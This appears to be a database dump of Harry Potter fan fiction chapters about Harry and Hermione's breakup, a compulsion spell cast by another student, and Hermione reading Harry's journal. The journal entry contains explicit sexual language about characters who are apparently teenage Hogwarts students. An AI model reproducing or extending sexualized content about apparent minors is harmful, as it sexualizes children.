thought Harry.</p>\n\n<p>He paced through the magical wall and through the Fat Lady portrait, almost walking through Nearly Headless Nick.</p>\n\n<p>&#8220;Hello Sir Nicholas,&#8221; Harry waved.</p>\n\n<p>&#8220;Morning Harry,&#8221; he smiled. He looked a bit surprised as well. &#8220;You&#8217;re up a bit late to today.&#8221;</p>\n\n<p>&#8220;I know Nick,&#8221; yawned Harry. &#8220;Have you seen Hermione?&#8221;</p>\n\n<p>&#8220;I have actually,&#8221; answered Nick. &#8220;She was with someone.&#8221;</p>\n\n<p>&#8220;Who?&#8221; beamed Harry.</p>\n\n<p>&#8220;I didn&#8217;t look,&#8221; said Nick. &#8220;I assumed that it was you. But if you&#8217;re standing here, then I guess she couldn&#8217;t have been with you could she?&#8221; He chuckled a bit. Harry forced some laughter. It wasn&#8217;t very funny to him.</p>\n\n<p>&#8220;Sorry Harry,&#8221; apologized Nick. &#8220;I honestly thought it was you. I mean, even though you two aren&#8217;t a couple anymore, you still hang around with each other like you are. Broken up, but sticking together as the best friends you are. That deserves my full honor and praise.&#8221;</p>\n\n<p>&#8220;Thanks Nick,&#8221; Harry blushed. Wow, even the ghosts knew about the relationships that went around here.</p>\n\n<p>&#8220;Well anyway, I saw the two of them head outside. I&#8217;m sure that you&#8217;ll find her there,&#8221; Nick said. &#8220;What&#8217;s that you got there?&#8221;</p>\n\n<p>&#8220;This?&#8221; said Harry, referring to the block box he was holding. &#8220;I&#8217;m supposed to give this to Hermione. Well, not <i>supposed to&#8230; </i>I can&#8230; but I&#8217;m having second thoughts about it.&#8221;</p>\n\n<p>&#8220;Just give it to her Harry,&#8221; Nick said, sounding a lot like Ron now, &#8220;I&#8217;m sure she&#8217;ll love it, whatever it may be, regardless of your relationship status with her.&#8221;</p>\n\n<p>Harry nodded.</p>\n\n<p>&#8220;Be off my boy, she is waiting.&#8221;</p>\n\n<p>After a last goodbye, Nick was gone, and Harry paced to the Front Doors. He burst through the doors and looked searchingly for Hermione, walking down the 4 front steps one by one. The day was a very beautiful one. It was snowing very softly and the entire outside was completely covered in white. Everything that was supposed to be green, was white because of the winter season; the ground was covered in snow and so were a couple of bushes. The lake was frozen solid and a few birds fluttered by every now and then.<i> </i>That&#8217;s were he saw them, by the lake, the exact spot where he and Hermione hung out in their time of love.</p>\n\n<p>The guy was leaning against the tree and Hermione was throwing snowballs at him, giggling like a little kid. He tossed one back at her. She turned to the side and it hit her dead on the shoulder, splattering everywhere. He flashed him a look and the both of them laughed it off. She then stood dangerously close next to him. During their snowball fight, Harry caught a glimpse of the guy. He assumed that this was Xavier Blake. He was handsome and about two inches taller than Hermione, where as Harry was about a head taller than Hermione. His brown hair was combed back and his build was about a bit like Harry&#8217;s, maybe a little less.</p>\n\n<p>He watched them sadly for a bit and looked at the box he had and twiddled it in his hands. His eyes were watering a bit as he thought whether now was not a good time to give it to her, or whether not to give it to her at all. He wiped his eyes before turning around slowly and tiptoeing up the steps. When he reached the top, Hermione must have saw him because he heard her call him.</p>\n\n<p>&#8220;Harry!&#8221;</p>\n\n<p>He turned around to see Hermione at the bottom of the steps with the boy she was with closely behind her.</p>\n\n<p>&#8220;Hi Harry,&#8221; Hermione said.</p>\n\n<p>&#8220;Hey Hermione,&#8221; he answered, trying really hard to smile. &#8220;What&#8217;s up?&#8221; he added to the guy that was behind her.</p>\n\n<p>&#8220;Hey,&#8221; he waved. All in all, he seemed like a nice guy.</p>\n\n<p>&#8220;Harry this is Xavier. Xavier, Harry,&#8221; Hermione said, introducing each other.</p>\n\n<p>Harry walked back down the 4 steps and politely shook Xavier&#8217;s hand. Even though Harry felt a bit of scorn to him, he had to respect him. If Hermione saw something in him, it must&#8217;ve been a good soul.</p>\n\n<p>&#8220;What&#8217;s that you got there Harry?&#8221; Hermione asked, seeing the box he was carrying.</p>\n\n<p>&#8220;Nothing,&#8221; Harry lied, quickly stuffing it into his robes pocket. Hermione looked at him puzzlingly, but decided not to push it any further.</p>\n\n<p>&#8220;Xavier, could you leave us for a bit. I need to talk to Harry alone,&#8221; she said.</p>\n<p>Xavier nodded. &#8220;Sure. I&#8217;ll be somewhere out here. Maybe I&#8217;ll build a snowman or something.&#8221;</p>\n\n<p>&#8220;You go do that,&#8221; laughed Hermione.</p>\n<p>When Xavier was gone and way out of earshot, Harry spoke.</p>\n\n<p>&#8220;So what do you need to talk to me about?&#8221; asked Harry, making himself comfortable by leaning against the railing. Hermione joined him.</p>\n\n<p>&#8220;Something important Harry,&#8221; she answered.</p>\n\n<p>&#8220;It must be,&#8221; added Harry jokingly, &#8220;if you have to send your boyfriend away.&#8221;</p>\n\n<p>&#8220;He&#8217;s not my boyfriend Harry,&#8221; Hermione cleared up. &#8220;He just asked me if I wanted to hang out with him outside.&#8221;</p>\n\n<p>&#8220;If you say so,&#8221; Harry grinned skeptically, looking slightly away from her. Since the break up, Harry&#8217;s acting skills had greatly improved. On the outside, he may look like he was joking around and having a good time, but on the inside, he was slowing dying and fading away. He must&#8217;ve died already when he saw Hermione and Xavier together. Even though Hermione had said that nothing was between them, he thought so otherwise. The only source of truth was his eyes. Luckily, Hermione no longer read them.</p>\n\n<p>&#8220;Well?&#8221; said Harry impatiently.</p>\n\n<p>&#8220;Oh!&#8221; exclaimed Hermione, slightly dazed, &#8220;I wanted to ask you something.&#8221;</p>\n\n<p>&#8220;Go on.&#8221;</p>\n\n<p>&#8220;Have you been dating Serine?&#8221; she asked with a scared look.</p>\n\n<p>&#8220;No,&#8221; said Harry coolly. &#8220;I haven&#8217;t seen her in forever and a day. And thank God. If I see her I&#8217;m probably going to be thrown in Azkaban with no remorse!&#8221;</p>\n\n<p>&#8220;That&#8217;s not funny Harry,&#8221; Hermione said.</p>\n\n<p>&#8220;I know it&#8217;s not,&#8221; said Harry. &#8220;But why so interested in Serine all of a sudden </p>\n<p>Hermione?&#8221;</p>\n\n<p>&#8220;Well Harry, I think that enough time has passed and I think that maybe we should come clean with each other,&#8221; she said matter-of-factly.</p>\n\n<p>&#8220;I don&#8217;t understand.&#8221;</p>\n\n<p>&#8220;Well honestly Harry, I&#8217;m not dating anybody. But I will be honest about this: there may be something with Xavier that I haven&#8217;t felt yet,&#8221; admitted Hermione.</p>\n\n<p>&#8220;Oh,&#8221; said Harry, feeling his heart shatter, as if it didn&#8217;t about a million times before.</p>\n\n<p>&#8220;But I&#8217;m still curious about something Harry,&#8221; she added. &#8220;If you don&#8217;t want to answer then I understand.&#8221;</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&#8220;Did you cheat on me at all?&#8221;</p>\n\n<p>Harry felt almost as insulted as when Adelle asked him if he really loved Hermione and not only to get her into bed. </p>\n\n<p>&#8220;Of course not!&#8221; Harry retorted.</p>\n\n<p>&#8220;Then why didn&#8217;t you get away from her?&#8221; she retorted back, crossing her arms. &#8220;When she was all against you like that?&#8221;</p>\n\n<p>&#8220;I -&#8221;, started Harry, thinking about what to say next. He thought that maybe he would look more stupid than clever. &#8220;I couldn&#8217;t&#8230;&#8221;</p>\n\n<p>&#8220;You expect me to believe that!?&#8221; she exclaimed. &#8220;I find you two in an empty corridor, you back slammed against a wall and Serine rubbing against you. And you think that I wouldn&#8217;t mind and the only thing you could tell me was that you <i>couldn&#8217;t</i> get away? Or is it more like, you <i>wouldn&#8216;t </i>get away?&#8221;</p>\n\n<p>&#8220;Why don&#8217;t you believe me?&#8221; shouted Harry. He was about to tell her about how it was hard, like he was bound up in rope and feeling helpless. He didn&#8217;t get the chance.</p>\n<p>&#8220;Because it&#8217;s hard to believe Harry! Plus, it defies logic Harry! I even read your eyes and there was no sense of truth there! You didn&#8217;t even look like you were tempting to get away from her -!&#8221;</p>\n\n<p>&#8220;Don&#8217;t bring your brainy bull-crap into this Hermione!&#8221; Harry screamed, pointing a finger at her. &#8220;We were supposed to talk, not yell at each other!&#8221;</p>\n\n<p>&#8220;Well one thing lend to another didn&#8217;t it Harry?&#8221; retorted Hermione. &#8220;Or did your brain unsuccessfully manage that?&#8221;</p>\n\n<p>&#8220;I may have an unmanageable brain, but at least I use it correctly at the right time!&#8221; insulted Harry.</p>\n\n<p>Hermione stood with her mouth open, apparently insulted. &#8220;This conversation has ended Harry!&#8221;</p>\n\n<p>&#8220;Good! It was pointless anyway!&#8221;</p>\n\n<p>&#8220;Harry I -&#8221;</p>\n\n<p>&#8220;No Hermione! I&#8217;m sick of this crap! If you don&#8217;t want to believe me, then you don&#8217;t have to! All I know is that I told the truth and I know I&#8216;m right! I did my part, sorry you failed to do yours.&#8221;</p>\n\n<p>It was Hermione&#8217;s turn to look insulted. &#8220;I just don&#8217;t believe you Harry&#8230;&#8221;</p>\n\n<p>&#8220;<i>I already said it!</i> <i>You don&#8217;t have to!&#8221; </i>shouted Harry at the top of his lungs. He was red in the face and breathing very hard. He never felt so angry in his entire life. &#8220;Good luck with Xavier, Hermione. Hope you two have a long and happy relationship together.&#8221;</p>\n<p>He turned his back rudely to her and stormed away opening the front door.</p>\n\n<p>&#8220;Whatever Harry!&#8221; retorted Hermione as he walked through the door and slammed it behind him. &#8220;Some friend you are!&#8221;</p>\n\n<p>***</p>\n\n<p>Inside the castle, Harry didn&#8217;t know whether he was furious of sad. He tried not to think about it as he raced through corridors. Then, once again, he saw a face that he didn&#8217;t want to see.</p>\n\n<p>&#8220;Hi Harry!&#8221; Serine waved, almost bumping into him.</p>\n\n<p>&#8220;Get away from me Serine,&#8221; he said. &#8220;I&#8217;m already pissed this morning and I don&#8217;t need you to aggravate it any further.&#8221;</p>\n\n<p>&#8220;Oh!&#8221; said Serine. There wasn&#8217;t a look of disguise or sexual gleam. There was, however, a look of concern. &#8220;Hermione, I&#8217;m guessing Harry?&#8221; </p>\n\n<p>Harry eyed her suspiciously, if she was up to something this time, he&#8217;d be ready.</p>\n\n<p>&#8220;Yeah, it&#8217;s Hermione,&#8221; stated Harry. &#8220;We were fighting because of you actually.&#8221;</p>\n\n<p>&#8220;Me?&#8221;</p>\n\n<p>&#8220;Yep,&#8221; said Harry, still a bit full of scorn. &#8220;What happened that day anyway? Or are you not going to tell me?&#8221;</p>\n\n<p>&#8220;First Harry,&#8221; she started, &#8220;I want to apologize for the way that I&#8217;ve been with you in the past. What motivated me to flirt with you, I wish to keep to myself, but I have learned this about you: you have the most loyalty to a girl than any other man that I&#8217;ve seen. And I give you my highest regards. Most taken men, when I approached them, would have suddenly become single and have sex with me without even thinking of consequences.&#8221;</p>\n<p>Harry stared at her. This wasn&#8217;t the Serine he once knew. She had suddenly become&#8230; compassionate or almost&#8230; human.</p>\n\n<p>&#8220;I cast a unresisting spell on you Harry,&#8221; she added.</p>\n\n<p>&#8220;A what?&#8221;</p>\n\n<p>&#8220;An unresisting spell,&#8221; confirmed Serine. &#8220;At the time, I had to have you. So, I put the spell on you so you couldn&#8217;t resist. There was one thing that I overlooked: You were so in love with Hermione. Much more than I thought you did. Far more love than anyone I&#8217;ve encountered.&#8221;</p>\n\n<p>&#8220;What&#8217;s the big deal in that?&#8221; asked Harry sarcastically.</p>\n\n<p>&#8220;It means Harry,&#8221; she continued, &#8220;that your love for her was so strong, you were able to break the spell. If there&#8217;s one thing that can counter any spell successfully Harry, it&#8217;s love.&#8221;</p>\n\n<p>Harry still eyed her suspiciously.</p>\n\n<p>&#8220;The thing about this spell is that it requires no wand,&#8221; Serine added. &#8220;You cast it on your hands and the minute you touch the person, it takes into effect.&#8221;</p>\n\n<p>&#8220;Whatever Serine.&#8221;</p>\n\n<p>&#8220;Don&#8217;t believe me huh? Well the spell is &#8216;Irrisistol&#8217;,&#8221; pointed Serine. &#8220;Try it for yourself.&#8221;</p>\n\n<p>Harry eyed her continuously, looking for a hint in lying in her voice and her facial expressions. To his surprise, he didn&#8217;t find it. He was starting to feel happy for once, happy that all because of his actions in the past with Serine wasn&#8217;t his fault. He could tell Hermione everything! Still&#8230;</p>\n\n<p>&#8220;Ok I believe you Serine,&#8221; said Harry, still a bit upset with her actions in the past. &#8220;I still haven&#8217;t quite forgiven you about that&#8230; but I <i>don&#8217;t</i> want it happening again. </p>\n<p>Understand?&#8221;</p>\n\n<p>&#8220;Crystal clear!&#8221; she exclaimed. &#8220;I just hope you forgive me one day&#8230;&#8221;</p>\n\n<p>&#8220;We&#8217;ll see&#8230;&#8221;</p>\n\n<p>&#8220;Can I have a hug Harry?&#8221;</p>\n\n<p>Harry started to approach her, but suddenly felt like it was a bad idea. The thought that she could&#8217;ve been lying her ass off the whole time still bothered him. He did, however, embrace her, ready for anything. To his surprise again, nothing happened; just a regular, simple, honest hug. He figured that this was Serine&#8217;s way confirming that she was telling the truth.</p>\n<p>&#8220;Thanks a lot Serine,&#8221; said Harry, accepting her apology. &#8220;You&#8217;ve&#8230; actually made my day.&#8221;</p>\n\n<p>&#8220;Your welcome Harry,&#8221; she answered. &#8220;Hope you and Hermione get along well in the future.&#8221; Harry fluttered his eyebrows. </p>\n\n<p>&#8220;I sure hope so,&#8221; he said, thinking back terribly at the argument he just had with her. &#8220;Some Christmas week this is&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n'),
	(185, 13, '\n\n\n<b><p align="CENTER">Chapter 13 - Forever Friendship</p>\n</b>\n<p>&nbsp;</p>\n<p>Harry woke up very early the next morning. He didn&#8217;t know if it was because he was well rested or because he couldn&#8217;t sleep. He lazily got out of his bed and looked out the window; it was still dark outside and it was snowing very gently. As he rubbed his eyes awake, he thought about yesterday: deciding to give Hermione the gift he was supposed to give her on her birthday, seeing her outside alone with Xavier, getting into an argument with her, and having Serine reveal the truth to him. As happy as he was with Serine&#8217;s revelation, he made an extra attempt to avoid Hermione. After his little dilemma with her, he didn&#8217;t see her since. And to make sure he didn&#8217;t make contact with her, he decided to sleep in his old bed in the boys&#8217; dormitories.</p>\n\n<p>He walked lazily down the steps and in to the Gryffindor common room and froze halfway down when he saw a figure. It was Hermione. He was sitting to one side of the sofa, fast asleep with her head on the headrest. There was a book in her lap which told Harry that she had fallen asleep reading (not to his surprise). Harry scoffed when he saw her, shook his head in disgust and marched on, passing her on the couch and making his way to the magical wall. After saying the password to Wally (&#8220;Prime Example&#8221;) he made his way in and went straight for his room.</p>\n\n<p>&#8220;Some friend I am huh?&#8221; gritted Harry through his teeth. &#8220;We&#8217;ll see about that!&#8221;</p>\n\n<p>He frantically searched through his trunk at the foot of his bed and pulled out a wad of pictures. He took a moment to run through them to make sure he had the absolute best ones. Most of them were of Hermione in various poses and places. Some were formal while others looked like she was playing around and having a good time. All of them a reminder of his and her once beautiful relationship.</p>\n\n<p>&#8220;Some beautiful relationship&#8230; But this should be fun,&#8221; said Harry, lining up the pictures once again an walking up to a lit candle on his desk. &#8220;Bet Hermione&#8217;s burn all my stuff. Only fair I do the same.&#8221; He tried to pry it from the holder to no avail. He put a little more force into it and finally the candle popped right out of its holder. During the struggle, two pictures fell from the stack he was holding. Harry grunted, not bothering to even look at the pictures before placing them on top of the stack.</p>\n\n<p>He held the pictures in his left hand and the candle in his right. He took a deep breath before bringing the two together slowly. He held the tip of the flame right under the pictures and suddenly, he saw it; he had noticed the pictures he had dropped and was staring at one of them as though it hypnotized him. He placed the candle on the side and examined the picture.</p>\n\n<p>It was obviously one of those &#8220;mistake&#8221; pictures. It was of Harry and Hermione standing by the lake and Hermione was leaning forcefully into Harry with a playful yet mischievous look on her face. Harry, looking slightly impatient yet playful himself, was gently trying to push her off and shot her a &#8220;what-are-you-thinking?&#8221; look. The real Harry couldn&#8217;t help but laugh through his nose as he remembered that day clearly; it was taken before they had become a couple.</p>\n\n<p>He removed the picture and looked at the second one he had dropped. It was the exact same picture as before: same setting, same time, same people, but this was what the picture was supposed to look like. Harry had his arm around Hermione and the both of them were smiling and holding themselves formally. Although neither of them were giving a &#8220;teeth-showing&#8221; smile, they looked rather cute and you could notice the picture of them were slightly blushing as Harry brought Hermione closer to him. He went back and forth from the pictures for a while until his heart and soul jumped and turned, as though for a stunning revelation.</p>\n\n<p>This is what he and Hermione were like, before the two of them went out. They were fun loving people, not love sick ones. Harry nodded, confirming that having Hermione for one his best friends, was well worth the pain and suffering he went through when they had broken up and a great gift from above. He wouldn&#8217;t give up Hermione&#8217;s friendship for anything! He sighed and walked back through the magical wall.</p>\n\n<p>&#8220;Stay open for a while Wally.&#8221;</p>\n\n<p>He walked and stood right in front of Hermione (she was still sleeping). He looked down at her and sighed again.</p>\n\n<p>&#8220;How could I ever be mad at her?&#8221; he said, as if he was talking to someone in the room. He leaned down and put a bit of hair that was in her face behind her ear.</p>\n\n<p>&#8220;You know that sitting position is a very uncomfortable looking one to sleep in,&#8221; Harry said out-loud to himself. &#8220;What to do?&#8221;</p>\n\n<p>He stood and thought for a moment before an idea popped into his head.</p>\n\n<p>&#8220;Oh I can&#8217;t do that!&#8221; Harry answered himself. &#8220;I can&#8217;t carry her to her room. She might wake up while I&#8217;m carrying her and take it the wrong way and probably become even more mad at me than she already is.&#8221;</p>\n\n<p>He thought about another idea.</p>\n\n<p>&#8220;Well it&#8217;s worth a shot,&#8221; Harry shrugged. &#8220;It&#8217;s better than my last idea.&#8221; He slowly approached Hermione and snaked his right hand through her hair and on the side of her neck, supporting it. With the other hand, he gently pushed Hermione down onto the couch so that she could lie down.</p>\n\n<p>&#8220;Don&#8217;t get up, don&#8217;t get up&#8230;&#8221; Harry whispered as he lowered her down. He also put her legs up on the couch and adjusted her skirt as well, to make it cover her decently. And with luck, Hermione didn&#8217;t get up. She did, however, curl herself up in her sleep to the new comfortable position Harry had put her. She lay on her side and her hands were under her head in a prayer position, using it like a pillow.</p>\n\n<p>&#8220;There, that&#8217;s better,&#8221; Harry said, as though he has just won a war. &#8220;But your hands aren&#8217;t going to cut it for a pillow.&#8221; He ran upstairs to the boys&#8217; dormitories and came down with an extra blanket and a pillow. He gently raised Hermione&#8217;s head and placed the pillow under her before gently placing her head back down. He unfolded and spread the blanket on Hermione, covering her from the neck down and tucking her in nicely.</p>\n\n<p>&#8220;There!&#8221; said Harry with a smile. &#8220;That&#8217;s much better. Sleep well Hermione.&#8221; He left her and made his way back into the private dorms. He reached into his trunk at the foot of his bed and took out his journal. He walked back into the small common room and he wrote in it furiously, telling about what he had just learned and did, also putting in his feelings here and there. He wrote for what seemed like forever. It was surprising his hand didn&#8217;t fall off from writing so much but it just kept going, as though it had a mind of its own and didn&#8217;t want to stop writing. After securely locking the book and placing it on the small coffee table in front of him, he stretched and yawned and suddenly wanted to check on Hermione.</p>\n\n<p>He walked through the magical wall and saw her, still fast asleep on the couch.</p>\n\n<p>&#8220;Well it&#8217;s still early,&#8221; Harry said. &#8220;Maybe I&#8217;ll go and hang around outside for awhile.&#8221;</p>\n\n\n'),
	(185, 14, '\n\n<b><p align="CENTER">Chapter 14 - The Journal</p>\n</b>\n<p>&nbsp;</p>\n<p>Harry nonchalantly walked through the Fat Lady portrait and made his way to the Great Hall. It was still early, so one was in there; just a few ghosts and elves here and there. Harry went to a table on one side that had morning snacks on it. It had doughnuts, breakfast burritos, caldron cakes, granola bars, orange juice, milk, coffee, cocoa, and many other goodies. He picked up a special goblet with a coffee handle and made himself some cocoa.</p>\n\n<p>He walked out of the hall, turned a corner, and almost ran through Nearly Headless Nick again.</p>\n\n<p>&#8220;Oh sorry again Nick,&#8221; Harry apologized. &#8220;I should be more careful.&#8221;</p>\n\n<p>&#8220;That&#8217;s quite all right,&#8221; Nick answered. &#8220;What are you doing up so early Harry?&#8221;</p>\n\n<p>&#8220;Couldn&#8217;t sleep,&#8221; he explained.</p>\n\n<p>&#8220;Why not?&#8221;</p>\n\n<p>&#8220;I&#8230; just couldn&#8217;t.&#8221;</p>\n\n<p>&#8220;Hermione?&#8221; he asked.  Harry chuckled slightly.</p>\n\n<p>&#8220;I knew I couldn&#8217;t hide that from you,&#8221; he smiled. &#8220;But it&#8217;s ok really.&#8221;</p>\n\n<p>&#8220;Are you sure?&#8221; asked Nick, his eyes full of concern.</p>\n\n<p>&#8220;Well, maybe not really sure. But I&#8217;ll be fine.&#8221;</p>\n\n<p>&#8220;I don&#8217;t know Harry,&#8221; Nick added. &#8220;It&#8217;s been what? About 3 months? I&#8217;ve been watching you and you don&#8217;t seem to get any better.&#8221;</p>\n\n<p>&#8220;It&#8217;ll take time Nick,&#8221; explained Harry. He refused to let Nick feel sorry for him. &#8220;I&#8217;ll be fine.&#8221;</p>\n\n<p>&#8220;Well, I can&#8217;t judge you otherwise Harry. I just hope you know what you&#8217;re doing.&#8221;</p>\n\n<p>&#8220;I do Nick,&#8221; Harry assured. &#8220;And I&#8217;ll be fine.&#8221;</p>\n\n<p>Nick nodded. He didn&#8217;t want to argue with him because he knew he would lose.</p>\n\n<p>&#8220;Where you headed now Harry?&#8221;</p>\n\n<p>&#8220;Outside. I need the fresh air.&#8221;</p>\n\n<p>&#8220;Right Harry,&#8221; Nick nodded. &#8220;I&#8217;ll see you around.&#8221;</p>\n\n<p>***</p>\n\n<p>Back in the Gryffindor common room, Hermione slowly opened her eyes. She sat up and looked surprisingly at the blanket and pillows she was lying with.</p>\n\n<p>&#8220;I don&#8217;t remember falling asleep with these,&#8221; she said, puzzled. She shrugged it off and stood up and stretched, taking out all the morning kinks. She walked to the magical wall, said the password, and walked into the private dormitories. She got dressed and noticed that Harry&#8217;s door room was open and he wasn&#8217;t in it.</p>\n\n<p>&#8220;Oh,&#8221; she said sarcastically, &#8220;<i>he&#8217;s </i>not here. But I wonder where he could be? NO! No Hermione! You&#8217;re supposed to be mad at him, not worrying about where he could be! Ugh&#8230; He&#8217;s being such a jerk!&#8221; She scoffed, not really caring anymore.</p>\n\n<p>***</p>\n\n<p>As Harry stood by the lake outside sipping on his goblet of cocoa, he reflected on the past few months. He examined his surroundings: the tree he was standing under, the view of the lake, and how the scenery was covered in white patches of snow; this was the exact place where he had confessed his love to Hermione. He sighed as he sipped on his cocoa again, thinking about absolutely nothing but the scenery and how he was enjoying the fresh air.</p>\n\n<p>&#8220;This is going to be one heck of a last year,&#8221; Harry said to himself. &#8220;I mean, Hermione and I were going out for about 2 years but, it seemed so much shorter than that! We&#8217;ve been broken up for about 3 months and it feels like forever! Oh well, I&#8217;m just going to have to cope with it.&#8221; The snow began to fall gently again.</p>\n\n<p>&#8220;Gosh I&#8217;m so bored,&#8221; replied Harry, as though he answered someone&#8217;s question. &#8220;Maybe I&#8217;ll build a snowman or something to keep myself occupied.&#8221;</p>\n\n<p>***</p>\n\n<p>Hermione sat in the small private common room with her arms and legs crossed. She was thinking about Harry&#8217;s actions the day before.</p>\n\n<p>&#8220;How dare he say that!&#8221; she exclaimed, &#8220;I&#8217;m only using logic here! I see him with another girl and he comes up with an excuse that he <i>can&#8217;t </i>get away!? Not any human being in their right mind would believe that! Then he said not to bring my brainy bull into this!? How dare him!&#8221;</p>\n\n<p>Through her enragement, her eyes did manage to catch something on the coffee table in front of her. It was a familiar looking red and gold leather bound book with a two inch spine. When she had read the small cursive writing on the cover that said &#8220;Harry Potter&#8221;, she realized why it looked so familiar to her. This was the book she had given him long before they had gone out. Her intention was to let him write in it, but she never thought he&#8217;d actually <i>use</i> it. </p>\n\n<p>Hermione picked it up and examined it with wide eyes. She remembered the security of the book and had fun trying to mess the life out of it. She laughed as she looked at the book again after torturing it for a bit; it remained good as new. An evil grin flashed her face. In her hands were probably Harry&#8217;s heart&#8217;s most desires and his deepest darkest secrets.</p>\n\n<p>&#8220;Oh no I can&#8217;t do that,&#8221; she reasoned. &#8220;That&#8217;ll definitely invade his total privacy. Besides, Harry wouldn&#8217;t do the same if it were me right?&#8221; She eyed the book hungrily again. As clever and good-hearted as Hermione was, her anxiety was way too high to pass on an opportunity like this. &#8220;Well, maybe just a peek. Just one page and that&#8217;s it.&#8221; She took the wand out of her pocket and pointed it at the book.</p>\n<i>\n</i><p><i>&#8220;Unlockinus!&#8221; </i>she said, unlocking the book. She heard and felt the familiar click of the book. This was probably the best think about buying this thing for Harry: she knew about all the secrets to it. Of course, she never told Harry this. She was beginning to wonder if her original intention was not to tell him or if she had forgotten completely. Making herself comfortable on the couch, she opened the book and ran through the pages, noticing that they were all blank. </p>\n\n<p>&#8220;Oh, almost forgot,&#8221; she said, as she turned to the first page <i>&#8220;Markinus!&#8221; </i>Slowly at first and gradually getting faster, the words appeared one by one, revealing the familiar writing that was Harry&#8217;s. When she was certain that all the words had appeared, she fanned through the book again. She was, however, surprised that only the first chunk of pages were filled, which told her that Harry had only used the book recently.</p>\n\n<p>&#8220;Wonder what persuaded him to only start now?&#8221; she asked herself. After checking the magical wall and scanning the room, just to make sure Harry or anyone else for that matter, was no where in sight, she took a deep breath, and started to read Harry&#8216;s journal nervously with excitement:</p>\n<i>\n<p>&nbsp;</p>\n<p>Dear Journal,</p>\n\n<p>	There are things that happen in our lives that affect us so greatly, that it replays over and over in our heads. I especially remember how and when I admitted my true feeling to one on my best friends, Hermione Granger. I would love to write about how we came to be, but I have other issues on my mind right now.</p>\n<p>	I guess I should start with this year. It starts off with the same and normal year as before, with me, Ron, and Hermione sticking together, but like our 5th and 6th year, this one is a little different. Hermione and I have been a happy couple of about 2 years. I can&#8217;t think of another time where I&#8217;ve ever felt that happy before. I guess going out with Hermione has been quite an experience for me; we share this one special kiss that I am very fond of (about 5 open-mouth kisses followed by me kissing her softly on the forehead and then resting mine on hers with both our eyes closed for a moment. There&#8216;s something very special about that that I can&#8217;t explain&#8230;) AND she&#8217;s not the sweet little innocent girl that I thought she would be. You&#8217;d be surprised at the vivid things she brings on to me. A simple thing like a stare from her could drive me wild up to a point to where, I swear I&#8217;d come in my pants. We fooled around in various places in Hogwarts: in the kitchens late night, in the common room, on the steps leading to the dormitories, just beyond the doors of the Great Hall, outside by the lake, and just about every other place you could think of besides the trash bins! Sadly, we aren&#8217;t allowed to have intercourse because of a curse that Hermione has cast on herself. I don&#8217;t know if she really wants it, or if she&#8217;s just teasing me sometimes. </p>\n<p>	We&#8217;ve fought a few times, like I&#8217;m sure all couples do, and we kiss and make up. Just before a meeting with Professor Dumbledore that she and I had to attend, we had a small and childish fight about immaturity. And speaking about that meeting, it was so that she and I were introduced to our own private and secret dormitories specially for Head Boy and Head Girl in the Gryffindor common room. What a nice place it is too! It was private, spacious, and well out of reach of anyone else, meaning that we had extra time to be alone It did, however, challenge me in a way; I caught myself several times almost pouncing on Hermione and taking her right then and there. It really wasn&#8217;t my fault! She purposefully kept giving me glances that said, &#8220;Come here and fuck me Harry&#8221;. Our lives went on completely normal, until disaster struck.</p>\n<p>	A Ravenclaw girl by the name of Serine Marshal that I knew by name, but not really by face, came up to Ron and I and wanted to talk alone. JUST TALK? That&#8217;s what I thought. She was quite pretty (NO! I assure you NOT as pretty as Hermione) and seemed like a nice person. Boy was I dead wrong! When Ron left the both of us alone, she told me that she had a crush on me for like forever and asked me out on a date. I had to turn her down because I knew that Hermione would probably not like the sound of that. But Serine kept pushing it, asking me if I thought she was pretty and why I said no. She even hinted to cheat on Hermione! As if I would ever do that! Then suddenly, she backs me into a wall and I can&#8217;t run. Honestly! I cannot move a muscle! As stupid and as dumb and as hard it is to believe that, it&#8217;s true! I really can&#8217;t explain it. It felt like I was bound in something, like I was tied up with rope. I tried and tried and resisted Serine as she was so close to forcing a kiss on me. Then, the last person I want to see at the moment, shows up.</p>\n<p>	I was basically caught in the act, even if I wasn&#8217;t doing anything. Of course, anyone in Hermione&#8217;s position would suspect that I was going to cheat. Serine played it off quite nicely. I wanted to smack that innocent look off her face! Serine left me just about as fast as Hermione had shown up, her eyes filled with rage and shock. We started fighting again. I did everything I could to tell Hermione that I wasn&#8217;t cheating on her. Telling her that Serine asked me out and that I said no and I would never to anything like that. I&#8217;m surprised that she didn&#8217;t ask how come that I wasn&#8217;t trying to pull away and I&#8217;m glad that she didn&#8217;t. How do you explain to your girlfriend that you can&#8217;t pull away? Then I did the one thing that I knew would redeem myself: I made her look into my eyes. Over the past 2 years, Hermione had gotten the skill of reading them expertly. I don&#8217;t know how she does it, but&#8230;she just can. I could be the best actor in the word and she would stare into my eyes and know immediately if I was lying or not. After reading my eyes, she knew that I was telling the truth and I didn&#8217;t have any intention on cheating with Serine. She forgave me, we kissed and made up yet again. I couldn&#8217;t have been any happier for that.</p>\n<p>	The next day, Ron couldn&#8217;t get off my back about what happened between me and Serine. He asked continuously what happened up to a point to were I told him, just to shut him up. I told him everything up to where that she was feeling up on me and that I couldn&#8217;t move. Of course, he made a great deal of fun to me about it, saying that why would I possibly want to move if a good looking girl was rubbing up on me. As soon as Ron had a good laugh about it, he agreed that Serine was just being a bitch. Then he told me something that I would&#8217;ve never expected he would say to me. He gave me this one piece of knowledge: &#8220;Cheating is whatever your boyfriend/girlfriend sees as cheating. If you think that guiltless hand-holding or a innocent kiss on the cheek to a fellow witch/wizard is harmless, and your boyfriend/girlfriend sees it as cheating, then that&#8217;s cheating.&#8221;</p>\n<p>	Then, as if things couldn&#8217;t get any worse, it does. If one time wasn&#8217;t bad enough, Serine had to go ahead and do hit on me again. She did just that: backing me into a wall and rubbing herself mercilessly into me. Once again, I tried to escape, to run away, but I had the same results: I couldn&#8217;t move a muscle. She moaned and screamed my name in the hall, apparently not caring if anyone would hear. Its like she wanted someone to hear her. Then, the unthinkable happened. I regret every moment of it and I feel sick to my stomach when I am reminded of it. Serine had seduced me. I was breathing hard and meeting her rubs. I really don&#8217;t know what came over me. I truly think that my body gave in before my mind could and my body told me that it was Hermione pleasuring me, when in actuality, it was Serine. I guess you could say that we were fooling around at most. I got a hard hit mentally in the head. That wasn&#8217;t Hermione I was with! I was close to cheating on her! I didn&#8217;t give in to Serine and I tried to pull away again. Still, Serine wouldn&#8217;t give it up. Then, once again the person that spotted us, was the one person I didn&#8217;t want to see: Hermione.</p>\n<p>	I don&#8217;t really have to explain what happened next. Hermione runs in opposite direction, Harry sees her and tries to get to 